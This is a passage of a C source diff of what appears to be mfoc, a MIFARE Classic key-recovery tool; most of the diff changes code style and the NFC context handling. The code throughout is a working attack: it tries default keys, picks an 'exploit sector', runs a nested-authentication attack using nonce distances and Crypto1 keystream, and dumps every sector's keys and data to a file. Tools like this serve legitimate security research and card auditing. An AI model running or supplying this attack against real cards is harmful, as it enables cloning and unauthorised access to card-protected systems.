+    {0xa0, 0x47, 0x8c, 0xc3, 0x90, 0x91},
+    {0x53, 0x3c, 0xb6, 0xc7, 0x23, 0xf6},
+    {0x8f, 0xd0, 0xa4, 0xf2, 0x56, 0xe9}
+
+  };
+
+  mftag                t;
+  mfreader     r;
+  denonce              d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}};
+
+  // Pointers to possible keys
+  pKeys                *pk;
+  countKeys    *ck;
+
+  // Pointer to already broken keys, except defaults
+  bKeys                *bk;
+
+  static mifare_param mp;
+  static mifare_classic_tag mtDump;
+
+  mifare_cmd mc;
+  FILE *pfDump = NULL;
+
+  // Parse command line arguments
+  while ((ch = getopt(argc, argv, "hD:s:BP:T:S:O:k:t:")) != -1) {
+    switch (ch) {
+      case 'P':
+        // Number of probes
+        if (!(probes = atoi(optarg)) || probes < 1) {
+          ERR("The number of probes must be a positive number");
+          exit(EXIT_FAILURE);
+        }
+        // fprintf(stdout, "Number of probes: %d\n", probes);
+        break;
+      case 'T': {
+        int res;
+        // Nonce tolerance range
+        if (((res = atoi(optarg)) < 0)) {
+          ERR("The nonce distances range must be a zero or a positive number");
+          exit(EXIT_FAILURE);
+        }
+        d.tolerance = (uint32_t)res;
+        // fprintf(stdout, "Tolerance number: %d\n", probes);
+      }
+      break;
+      case 'k':
+        // Add this key to the default keys
+        p = realloc(defKeys, defKeys_len + 6);
+        if (!p) {
+          ERR("Cannot allocate memory for defKeys");
+          exit(EXIT_FAILURE);
+        }
+        defKeys = p;
+        memset(defKeys + defKeys_len, 0, 6);
+        num_to_bytes(strtoll(optarg, NULL, 16), 6, defKeys + defKeys_len);
+        fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys + defKeys_len, 6));
+        defKeys_len = defKeys_len + 6;
+
+        break;
+      case 'O':
+        // File output
+        if (!(pfDump = fopen(optarg, "wb"))) {
+          fprintf(stderr, "Cannot open: %s, exiting\n", optarg);
+          exit(EXIT_FAILURE);
+        }
+        // fprintf(stdout, "Output file: %s\n", optarg);
+        break;
+      case 'h':
+        usage(stdout, 0);
+        break;
+      default:
+        usage(stderr, 1);
+        break;
+    }
+  }
+
+  if (!pfDump) {
+    ERR("parameter -O is mandatory");
+    exit(EXIT_FAILURE);
+  }
+
+  // Initialize reader/tag structures
+  mf_init(&r);
+
+  if (nfc_initiator_init(r.pdi) < 0) {
+    nfc_perror(r.pdi, "nfc_initiator_init");
+    goto error;
+  }
+  // Drop the field for a while, so can be reset
+  if (nfc_device_set_property_bool(r.pdi, NP_ACTIVATE_FIELD, true) < 0) {
+    nfc_perror(r.pdi, "nfc_device_set_property_bool activate field");
+    goto error;
+  }
+  // Let the reader only try once to find a tag
+  if (nfc_device_set_property_bool(r.pdi, NP_INFINITE_SELECT, false) < 0) {
+    nfc_perror(r.pdi, "nfc_device_set_property_bool infinite select");
+    goto error;
+  }
+  // Configure the CRC and Parity settings
+  if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0) {
+    nfc_perror(r.pdi, "nfc_device_set_property_bool crc");
+    goto error;
+  }
+  if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) {
+    nfc_perror(r.pdi, "nfc_device_set_property_bool parity");
+    goto error;
+  }
+
+  /*
+       // wait for tag to appear
+       for (i=0;!nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) && i < 10; i++) zsleep (100);
+  */
+
+  // mf_select_tag(r.pdi, &(t.nt));
+  if (nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) < 0) {
+    nfc_perror(r.pdi, "nfc_initiator_select_passive_target");
+    goto error;
+  }
+
+  // Test if a compatible MIFARE tag is used
+  if ((t.nt.nti.nai.btSak & 0x08) == 0) {
+    ERR("only Mifare Classic is supported");
+    goto error;
+  }
+
+  // Save tag's block size (b4K)
+  t.b4K = (t.nt.nti.nai.abtAtqa[1] == 0x02);
+  t.authuid = (uint32_t) bytes_to_num(t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, 4);
+
+  t.num_blocks = (t.b4K) ? 0xff : 0x3f;
+  t.num_sectors = t.b4K ? NR_TRAILERS_4k : NR_TRAILERS_1k;
+
+  t.sectors = (void *) calloc(t.num_sectors, sizeof(sector));
+  if (t.sectors == NULL) {
+    ERR("Cannot allocate memory for t.sectors");
+    goto error;
+  }
+  if ((pk = (void *) malloc(sizeof(pKeys))) == NULL) {
+    ERR("Cannot allocate memory for pk");
+    goto error;
+  }
+  if ((bk = (void *) malloc(sizeof(bKeys))) == NULL) {
+    ERR("Cannot allocate memory for bk");
+    goto error;
+  } else {
+    bk->brokenKeys = NULL;
+    bk->size = 0;
+  }
+
+  d.distances = (void *) calloc(d.num_distances, sizeof(uint32_t));
+  if (d.distances == NULL) {
+    ERR("Cannot allocate memory for t.distances");
+    goto error;
+  }
+
+  // Initialize t.sectors, keys are not known yet
+  for (uint8_t s = 0; s < (t.num_sectors); ++s) {
+    t.sectors[s].foundKeyA = t.sectors[s].foundKeyB = false;
+  }
+
+  print_nfc_target(t.nt, true);
+
+  // Try to authenticate to all sectors with default keys
+  // Set the authentication information (uid)
+  memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid));
+  // Iterate over all keys (n = number of keys)
+  n = sizeof(defaultKeys) / sizeof(defaultKeys[0]);
+  size_t defKey_bytes_todo = defKeys_len;
+  key = 0;
+  while (key < n) {
+    if (defKey_bytes_todo > 0) {
+      memcpy(mp.mpa.abtKey, defKeys + defKeys_len - defKey_bytes_todo, sizeof(mp.mpa.abtKey));
+      defKey_bytes_todo -= sizeof(mp.mpa.abtKey);
+    } else {
+      memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey));
+      key++;
+    }
+    fprintf(stdout, "[Key: %012llx] -> ", bytes_to_num(mp.mpa.abtKey, 6));
+    fprintf(stdout, "[");
+    i = 0; // Sector counter
+    // Iterate over every block, where we haven't found a key yet
+    for (block = 0; block <= t.num_blocks; ++block) {
+      if (trailer_block(block)) {
+        if (!t.sectors[i].foundKeyA) {
+          mc = MC_AUTH_A;
+          if (!nfc_initiator_mifare_cmd(r.pdi, mc, block, &mp)) {
+            // fprintf(stdout, "!!Error: AUTH [Key A:%012llx] sector %02x t_block %02x\n",
+            //         bytes_to_num(mp.mpa.abtKey, 6), i, block);
+            mf_anticollision(t, r);
+          } else {
+            // Save all information about successfull keyA authentization
+            memcpy(t.sectors[i].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
+            t.sectors[i].foundKeyA = true;
+          }
+        }
+        if (!t.sectors[i].foundKeyB) {
+          mc = MC_AUTH_B;
+          if (!nfc_initiator_mifare_cmd(r.pdi, mc, block, &mp)) {
+            // fprintf(stdout, "!!Error: AUTH [Key B:%012llx] sector %02x t_block %02x\n",
+            // bytes_to_num(mp.mpa.abtKey, 6), i, block);
+            mf_anticollision(t, r);
+            // No success, try next block
+            t.sectors[i].trailer = block;
+          } else {
+            memcpy(t.sectors[i].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
+            t.sectors[i].foundKeyB = true;
+          }
+        }
+        if ((t.sectors[i].foundKeyA) && (t.sectors[i].foundKeyB)) {
+          fprintf(stdout, "x");
+        } else if (t.sectors[i].foundKeyA) {
+          fprintf(stdout, "/");
+        } else if (t.sectors[i].foundKeyB) {
+          fprintf(stdout, "\\");
+        } else {
+          fprintf(stdout, ".");
+        }
+        fflush(stdout);
+        // fprintf(stdout, "\nSuccess: AUTH [Key %c:%012llx] sector %02x t_block %02x\n",
+        //     (mc == MC_AUTH_A ? 'A' :'B'), bytes_to_num(mp.mpa.abtKey, 6), i, block);
+        // Save position of a trailer block to sector struct
+        t.sectors[i++].trailer = block;
+      }
+    }
+    fprintf(stdout, "]\n");
+  }
+
+  fprintf(stdout, "\n");
+  for (i = 0; i < (t.num_sectors); ++i) {
+    fprintf(stdout, "Sector %02d - %12s  ", i, ((t.sectors[i].foundKeyA) ? " FOUND_KEY   [A]" : " UNKNOWN_KEY [A]"));
+    fprintf(stdout, "Sector %02d - %12s  ", i, ((t.sectors[i].foundKeyB) ? " FOUND_KEY   [B]" : " UNKNOWN_KEY [B]"));
+    fprintf(stdout, "\n");
+  }
+  fflush(stdout);
+
+  // Return the first (exploit) sector encrypted with the default key or -1 (we have all keys)
+  e_sector = find_exploit_sector(t);
+  //mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd'); // AUTH + Get Distances mode
+
+  // Recover key from encrypted sectors, j is a sector counter
+  for (m = 0; m < 2; ++m) {
+    if (e_sector == -1) break; // All keys are default, I am skipping recovery mode
+    for (j = 0; j < (t.num_sectors); ++j) {
+      memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid));
+      if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
+
+        // First, try already broken keys
+        skip = false;
+        for (uint32_t o = 0; o < bk->size; o++) {
+          num_to_bytes(bk->brokenKeys[o], 6, mp.mpa.abtKey);
+          mc = dumpKeysA ? 0x60 : 0x61;
+          if (!nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) {
+            // fprintf(stdout, "!!Error: AUTH [Key A:%012llx] sector %02x t_block %02x, key %d\n",
+            //                 bytes_to_num(mp.mpa.abtKey, 6), j, t.sectors[j].trailer, o);
+            mf_anticollision(t, r);
+          } else {
+            // Save all information about successfull authentization
+            if (dumpKeysA) {
+              memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
+              t.sectors[j].foundKeyA = true;
+            } else {
+              memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
+              t.sectors[j].foundKeyB = true;
+            }
+            printf("Sector: %d, type %c\n", j, (dumpKeysA ? 'A' : 'B'));
+            fprintf(stdout, "Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
+                    bytes_to_num(mp.mpa.abtKey, 6));
+            mf_configure(r.pdi);
+            mf_anticollision(t, r);
+            skip = true;
+            break;
+          }
+        }
+        if (skip) continue; // We have already revealed key, go to the next iteration
+
+        // Max probes for auth for each sector
+        for (k = 0; k < probes; ++k) {
+          // Try to authenticate to exploit sector and determine distances (filling denonce.distances)
+          mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode
+          printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median);
+          // Configure device to the previous state
+          mf_configure(r.pdi);
+          mf_anticollision(t, r);
+
+          pk->possibleKeys = NULL;
+          pk->size = 0;
+          // We have 'sets' * 32b keystream of potential keys
+          for (n = 0; n < sets; n++) {
+            // AUTH + Recovery key mode (for a_sector), repeat 5 times
+            mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA);
+            mf_configure(r.pdi);
+            mf_anticollision(t, r);
+            fprintf(stdout, ".");
+            fflush(stdout);
+          }
+          fprintf(stdout, "\n");
+          // Get first 15 grouped keys
+          ck = uniqsort(pk->possibleKeys, pk->size);
+          for (i = 0; i < TRY_KEYS ; i++) {
+            // We don't known this key, try to break it
+            // This key can be found here two or more times
+            if (ck[i].count > 0) {
+              // fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key);
+              // Set required authetication method
+              num_to_bytes(ck[i].key, 6, mp.mpa.abtKey);
+              mc = dumpKeysA ? 0x60 : 0x61;
+              if (!nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) {
+                // fprintf(stdout, "!!Error: AUTH [Key A:%llx] sector %02x t_block %02x\n",
+                //     bytes_to_num(mp.mpa.abtKey, 6), j, t.sectors[j].trailer);
+                mf_anticollision(t, r);
+              } else {
+                // Save all information about successfull authentization
+                bk->size++;
+                bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
+                bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, 6);
+                if (dumpKeysA) {
+                  memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
+                  t.sectors[j].foundKeyA = true;
+
+                } else {
+                  memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
+                  t.sectors[j].foundKeyB = true;
+                }
+                fprintf(stdout, "Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
+                        bytes_to_num(mp.mpa.abtKey, 6));
+                mf_configure(r.pdi);
+                mf_anticollision(t, r);
+                break;
+              }
+            }
+          }
+          free(pk->possibleKeys);
+          free(ck);
+          // Success, try the next sector
+          if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
+        }
+        // We haven't found any key, exiting
+        if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
+          ERR("No success, maybe you should increase the probes");
+          goto error;
+        }
+      }
+    }
+    dumpKeysA = false;
+  }
+
+
+  for (i = 0; i < (t.num_sectors); ++i) {
+    if ((dumpKeysA && !t.sectors[i].foundKeyA) || (!dumpKeysA && !t.sectors[i].foundKeyB)) {
+      fprintf(stdout, "\nTry again, there are still some encrypted blocks\n");
+      succeed = 0;
+      break;
+    }
+  }
+
+  if (succeed) {
+    i = t.num_sectors; // Sector counter
+    fprintf(stdout, "Auth with all sectors succeeded, dumping keys to a file!\n");
+    // Read all blocks
+    for (block = t.num_blocks; block >= 0; block--) {
+      trailer_block(block) ? i-- : i;
+      failure = true;
+
+      // Try A key, auth() + read()
+      memcpy(mp.mpa.abtKey, t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA));
+      if (!nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_A, block, &mp)) {
+        // ERR ("Error: Auth A");
+        mf_configure(r.pdi);
+        mf_anticollision(t, r);
+      } else { // and Read
+        if (nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) {
+          fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'A', bytes_to_num(t.sectors[i].KeyA, 6));
+          print_hex(mp.mpd.abtData, 16);
+          mf_configure(r.pdi);
+          mf_select_tag(r.pdi, &(t.nt));
+          failure = false;
+        } else {
+          // Error, now try read() with B key
+          // ERR ("Error: Read A");
+          mf_configure(r.pdi);
+          mf_anticollision(t, r);
+          memcpy(mp.mpa.abtKey, t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB));
+          if (!nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mp)) {
+            // ERR ("Error: Auth B");
+            mf_configure(r.pdi);
+            mf_anticollision(t, r);
+          } else { // and Read
+            if (nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) {
+              fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'B', bytes_to_num(t.sectors[i].KeyB, 6));
+              print_hex(mp.mpd.abtData, 16);
+              mf_configure(r.pdi);
+              mf_select_tag(r.pdi, &(t.nt));
+              failure = false;
+            } else {
+              mf_configure(r.pdi);
+              mf_anticollision(t, r);
+              // ERR ("Error: Read B");
+            }
+          }
+        }
+      }
+      if (trailer_block(block)) {
+        // Copy the keys over from our key dump and store the retrieved access bits
+        memcpy(mtDump.amb[block].mbt.abtKeyA, t.sectors[i].KeyA, 6);
+        memcpy(mtDump.amb[block].mbt.abtKeyB, t.sectors[i].KeyB, 6);
+        if (!failure) memcpy(mtDump.amb[block].mbt.abtAccessBits, mp.mpd.abtData + 6, 4);
+      } else if (!failure) memcpy(mtDump.amb[block].mbd.abtData, mp.mpd.abtData, 16);
+      memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid));
+    }
+
+    // Finally save all keys + data to file
+    if (fwrite(&mtDump, 1, sizeof(mtDump), pfDump) != sizeof(mtDump)) {
+      fprintf(stdout, "Error, cannot write dump\n");
+      fclose(pfDump);
+      goto error;
+    }
+    fclose(pfDump);
+  }
+
+  free(t.sectors);
+  free(d.distances);
+
+  // Reset the "advanced" configuration to normal
+  nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true);
+  nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true);
+
+  // Disconnect device and exit
+  nfc_close(r.pdi);
+  nfc_exit(context);
+  exit(EXIT_SUCCESS);
 error:
-    nfc_close(r.pdi);
-    nfc_exit(NULL);
-    exit (EXIT_FAILURE);
+  nfc_close(r.pdi);
+  nfc_exit(context);
+  exit(EXIT_FAILURE);
 }
 
-void usage(FILE * stream, int errno) {
-       fprintf(stream, "Usage: mfoc [-h] [-k key]... [-P probnum] [-T tolerance] [-O output]\n");
-       fprintf(stream, "\n");
-       fprintf(stream, "  h     print this help and exit\n");
+void usage(FILE *stream, int errno)
+{
+  fprintf(stream, "Usage: mfoc [-h] [-k key]... [-P probnum] [-T tolerance] [-O output]\n");
+  fprintf(stream, "\n");
+  fprintf(stream, "  h     print this help and exit\n");
 //     fprintf(stream, "  B     instead of 'A' dump 'B' keys\n");
-       fprintf(stream, "  k     try the specified key in addition to the default keys\n");
+  fprintf(stream, "  k     try the specified key in addition to the default keys\n");
 //     fprintf(stream, "  D     number of distance probes, default is 20\n");
 //     fprintf(stream, "  S     number of sets with keystreams, default is 5\n");
-       fprintf(stream, "  P     number of probes per sector, instead of default of 20\n");
-       fprintf(stream, "  T     nonce tolerance half-range, instead of default of 20\n        (i.e., 40 for the total range, in both directions)\n");
+  fprintf(stream, "  P     number of probes per sector, instead of default of 20\n");
+  fprintf(stream, "  T     nonce tolerance half-range, instead of default of 20\n        (i.e., 40 for the total range, in both directions)\n");
 //     fprintf(stream, "  s     specify the list of sectors to crack, for example -s 0,1,3,5\n");
-       fprintf(stream, "  O     file in which the card contents will be written (REQUIRED)\n");
-       fprintf(stream, "\n");
-       fprintf(stream, "Example: mfoc -O mycard.mfd\n");
-       fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n");
-       fprintf(stream, "Example: mfoc -P 50 -T 30 -O mycard.mfd\n");
-       fprintf(stream, "\n");
-       fprintf(stream, "This is mfoc version %s.\n", PACKAGE_VERSION);
-       fprintf(stream, "For more information, run: 'man mfoc'.\n");
-       exit(errno);
+  fprintf(stream, "  O     file in which the card contents will be written (REQUIRED)\n");
+  fprintf(stream, "\n");
+  fprintf(stream, "Example: mfoc -O mycard.mfd\n");
+  fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n");
+  fprintf(stream, "Example: mfoc -P 50 -T 30 -O mycard.mfd\n");
+  fprintf(stream, "\n");
+  fprintf(stream, "This is mfoc version %s.\n", PACKAGE_VERSION);
+  fprintf(stream, "For more information, run: 'man mfoc'.\n");
+  exit(errno);
 }
 
-void mf_init(mfreader *r) {
-       // Connect to the first NFC device
-       nfc_init(NULL);
-       r->pdi = nfc_open(NULL, NULL);
-       if (!r->pdi) {
-               printf ("No NFC device found.\n");
-               exit (EXIT_FAILURE);
-       }
+void mf_init(mfreader *r)
+{
+  // Connect to the first NFC device
+  nfc_init(&context);
+  r->pdi = nfc_open(context, NULL);
+  if (!r->pdi) {
+    printf("No NFC device found.\n");
+    exit(EXIT_FAILURE);
+  }
 }
 
-void mf_configure(nfc_device* pdi) {
-       if (nfc_initiator_init (pdi) < 0) {
-               nfc_perror (pdi, "nfc_initiator_init");
-               exit (EXIT_FAILURE);
-       }
-       // Drop the field for a while, so can be reset
-       if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, false) < 0) {
-               nfc_perror (pdi, "nfc_device_set_property_bool activate field");
-               exit (EXIT_FAILURE);
-       }
-       // Let the reader only try once to find a tag
-       if (nfc_device_set_property_bool(pdi, NP_INFINITE_SELECT, false) < 0) {
-               nfc_perror (pdi, "nfc_device_set_property_bool infinite select");
-               exit (EXIT_FAILURE);
-       }
-       // Configure the CRC and Parity settings
-       if (nfc_device_set_property_bool(pdi, NP_HANDLE_CRC, true) < 0) {
-               nfc_perror (pdi, "nfc_device_set_property_bool crc");
-               exit (EXIT_FAILURE);
-       }
-       if (nfc_device_set_property_bool(pdi, NP_HANDLE_PARITY, true) < 0) {
-               nfc_perror (pdi, "nfc_device_set_property_bool parity");
-               exit (EXIT_FAILURE);
-       }
-       // Enable the field so more power consuming cards can power themselves up
-       if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, true) < 0) {
-               nfc_perror (pdi, "nfc_device_set_property_bool activate field");
-               exit (EXIT_FAILURE);
-       }
+void mf_configure(nfc_device *pdi)
+{
+  if (nfc_initiator_init(pdi) < 0) {
+    nfc_perror(pdi, "nfc_initiator_init");
+    exit(EXIT_FAILURE);
+  }
+  // Drop the field for a while, so can be reset
+  if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, false) < 0) {
+    nfc_perror(pdi, "nfc_device_set_property_bool activate field");
+    exit(EXIT_FAILURE);
+  }
+  // Let the reader only try once to find a tag
+  if (nfc_device_set_property_bool(pdi, NP_INFINITE_SELECT, false) < 0) {
+    nfc_perror(pdi, "nfc_device_set_property_bool infinite select");
+    exit(EXIT_FAILURE);
+  }
+  // Configure the CRC and Parity settings
+  if (nfc_device_set_property_bool(pdi, NP_HANDLE_CRC, true) < 0) {
+    nfc_perror(pdi, "nfc_device_set_property_bool crc");
+    exit(EXIT_FAILURE);
+  }
+  if (nfc_device_set_property_bool(pdi, NP_HANDLE_PARITY, true) < 0) {
+    nfc_perror(pdi, "nfc_device_set_property_bool parity");
+    exit(EXIT_FAILURE);
+  }
+  // Enable the field so more power consuming cards can power themselves up
+  if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, true) < 0) {
+    nfc_perror(pdi, "nfc_device_set_property_bool activate field");
+    exit(EXIT_FAILURE);
+  }
 }
 
-void mf_select_tag(nfc_device* pdi, nfc_target* pnt) {
-       // Poll for a ISO14443A (MIFARE) tag
-       const nfc_modulation nm = {
-               .nmt = NMT_ISO14443A,
-               .nbr = NBR_106,
-       };
-       if (nfc_initiator_select_passive_target(pdi, nm, NULL, 0, pnt) < 0) {
-               ERR ("Unable to connect to the MIFARE Classic tag");
-               nfc_close(pdi);
-        nfc_exit(NULL);
-               exit (EXIT_FAILURE);
-       }
+void mf_select_tag(nfc_device *pdi, nfc_target *pnt)
+{
+  // Poll for a ISO14443A (MIFARE) tag
+  const nfc_modulation nm = {
+    .nmt = NMT_ISO14443A,
+    .nbr = NBR_106,
+  };
+  if (nfc_initiator_select_passive_target(pdi, nm, NULL, 0, pnt) < 0) {
+    ERR("Unable to connect to the MIFARE Classic tag");
+    nfc_close(pdi);
+    nfc_exit(context);
+    exit(EXIT_FAILURE);
+  }
 }
 
 int trailer_block(uint32_t block)
 {
-       // Test if we are in the small or big sectors
-       return (block < 128) ? ((block + 1) % 4 == 0) : ((block + 1) % 16 == 0);
+  // Test if we are in the small or big sectors
+  return (block < 128) ? ((block + 1) % 4 == 0) : ((block + 1) % 16 == 0);
 }
 
 // Return position of sector if it is encrypted with the default key otherwise exit..
-int find_exploit_sector(mftag t) {
-       int i;
-       bool interesting = false;
-
-       for (i = 0; i < t.num_sectors; i++) {
-               if (!t.sectors[i].foundKeyA || !t.sectors[i].foundKeyB) {
-                       interesting = true;
-                       break;
-               }
-       }
-       if (!interesting) {
-               fprintf(stdout, "\nWe have all sectors encrypted with the default keys..\n\n");
-               return -1;
-       }
-       for (i = 0; i < t.num_sectors; i++) {
-               if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) {
-                       fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i);
-                       return i;
-               }
-       }
-       ERR ("\n\nNo sector encrypted with the default key has been found, exiting..");
-       exit (EXIT_FAILURE);
+int find_exploit_sector(mftag t)
+{
+  int i;
+  bool interesting = false;
+
+  for (i = 0; i < t.num_sectors; i++) {
+    if (!t.sectors[i].foundKeyA || !t.sectors[i].foundKeyB) {
+      interesting = true;
+      break;
+    }
+  }
+  if (!interesting) {
+    fprintf(stdout, "\nWe have all sectors encrypted with the default keys..\n\n");
+    return -1;
+  }
+  for (i = 0; i < t.num_sectors; i++) {
+    if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) {
+      fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i);
+      return i;
+    }
+  }
+  ERR("\n\nNo sector encrypted with the default key has been found, exiting..");
+  exit(EXIT_FAILURE);
 }
 
-void mf_anticollision(mftag t, mfreader r) {
-       const nfc_modulation nm = {
-               .nmt = NMT_ISO14443A,
-               .nbr = NBR_106,
-       };
-       if (nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) < 0) {
-               nfc_perror (r.pdi, "nfc_initiator_select_passive_target");
-               ERR ("Tag has been removed");
-               exit (EXIT_FAILURE);
-       }
+void mf_anticollision(mftag t, mfreader r)
+{
+  const nfc_modulation nm = {
+    .nmt = NMT_ISO14443A,
+    .nbr = NBR_106,
+  };
+  if (nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) < 0) {
+    nfc_perror(r.pdi, "nfc_initiator_select_passive_target");
+    ERR("Tag has been removed");
+    exit(EXIT_FAILURE);
+  }
 }
 
-int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA) {
-       struct Crypto1State* pcs;
-       struct Crypto1State* revstate;
-       struct Crypto1State* revstate_start;
-
-       uint64_t lfsr;
-
-       // Possible key counter, just continue with a previous "session"
-       uint32_t kcount = pk->size;
-
-       uint8_t Nr[4] = { 0x00,0x00,0x00,0x00 }; // Reader nonce
-       uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
-       uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
-       uint8_t AuthEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
-
-       uint8_t ArEnc[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
-       uint8_t ArEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
-
-       uint8_t Rx[MAX_FRAME_LEN]; // Tag response
-       uint8_t RxPar[MAX_FRAME_LEN]; // Tag response
-       size_t RxLen;
-
-       uint32_t Nt, NtLast, NtProbe, NtEnc, Ks1;
-
-       int i, m;
-
-       // Prepare AUTH command
-       Auth[0] = (t.sectors[e_sector].foundKeyA) ? 0x60 : 0x61;
-       iso14443a_crc_append (Auth,2);
-       // fprintf(stdout, "\nAuth command:\t");
-       // print_hex(Auth, 4);
-
-       // We need full control over the CRC
-       if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, false) < 0)  {
-               nfc_perror (r.pdi, "nfc_device_set_property_bool crc");
-               exit (EXIT_FAILURE);
-       }
-
-       // Request plain tag-nonce
-       // TODO: Set NP_EASY_FRAMING option only once if possible
-       if (nfc_device_set_property_bool (r.pdi, NP_EASY_FRAMING, false) < 0) {
-               nfc_perror (r.pdi, "nfc_device_set_property_bool framing");
-               exit (EXIT_FAILURE);
-       }
-
-       if (nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, sizeof(Rx), 0) < 0) {
-               fprintf(stdout, "Error while requesting plain tag-nonce\n");
-               exit(EXIT_FAILURE);
-       }
-
-       if (nfc_device_set_property_bool (r.pdi, NP_EASY_FRAMING, true) < 0) {
-               nfc_perror (r.pdi, "nfc_device_set_property_bool");
-               exit (EXIT_FAILURE);
-       }
-       // print_hex(Rx, 4);
-
-       // Save the tag nonce (Nt)
-       Nt = bytes_to_num(Rx, 4);
-
-       // Init the cipher with key {0..47} bits
-       if (t.sectors[e_sector].foundKeyA) {
-               pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6));
-       } else {
-               pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6));
-       }
-
-       // Load (plain) uid^nt into the cipher {48..79} bits
-       crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 0);
-
-       // Generate (encrypted) nr+parity by loading it into the cipher
-       for (i = 0; i < 4; i++) {
-               // Load in, and encrypt the reader nonce (Nr)
-               ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
-               ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]);
-       }
-       // Skip 32 bits in the pseudo random generator
-       Nt = prng_successor(Nt, 32);
-       // Generate reader-answer from tag-nonce
-       for (i = 4; i < 8; i++) {
-               // Get the next random byte
-               Nt = prng_successor(Nt, 8);
-               // Encrypt the reader-answer (Nt' = suc2(Nt))
-               ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ (Nt&0xff);
-               ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt);
-       }
-
-       // Finally we want to send arbitrary parity bits
-       if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false) < 0) {
-               nfc_perror (r.pdi, "nfc_device_set_property_bool parity");
-               exit (EXIT_FAILURE);
-       }
-
-       // Transmit reader-answer
-       // fprintf(stdout, "\t{Ar}:\t");
-       // print_hex_par(ArEnc, 64, ArEncPar);
-       int res;
-       if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, RxPar)) < 0) || (res != 32)) {
-               ERR ("Reader-answer transfer error, exiting..");
